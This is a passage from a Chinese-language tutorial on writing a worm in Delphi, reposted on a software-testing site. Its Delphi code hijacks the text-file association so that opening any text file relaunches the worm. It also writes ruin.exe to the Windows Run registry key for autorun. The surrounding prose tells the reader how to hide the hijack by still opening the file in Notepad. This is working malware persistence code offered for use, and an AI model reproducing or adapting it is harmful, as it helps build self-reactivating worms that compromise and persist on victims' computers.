用Delphi来编写蠕虫病毒浅析

领测软件测试网

RegSetvalueEx(Hk,‘‘,0,REG_SZ,@value,17); 
//把virus_ruin.exe和文本文件关联 
RegOpenKey(HKEY_LOCAL_MACHINE,‘Software/Microsoft/Windows/CurrentVersion/Run‘,Hk); 
value:=‘ruin.exe‘; 
RegSetvalueEx(Hk,‘ruin‘,0,REG_SZ,@value,8); 
//设置开机自动运行ruin.exe 
end;  

　　我们看上面的这个程序，就完成了自我复制，和开机自动运行，并且关联了文本文件，这样，如果run下的键被删除，那么他打开文本文件，蠕虫文件又被激活。 

　　不过这个样子，你就需要在你的主程序里面进行判断，如果传递的参数等于1 ，则打开该文本，并且进行自我保护。 

　　如： 

begin 
if paramcount=1 then 
shellexecute(0,‘open‘,‘notepad.exe‘,pchar(paramstr(1)),nil,sw_normal); 

文章来源于领测软件测试网 https://www.ltesting.net/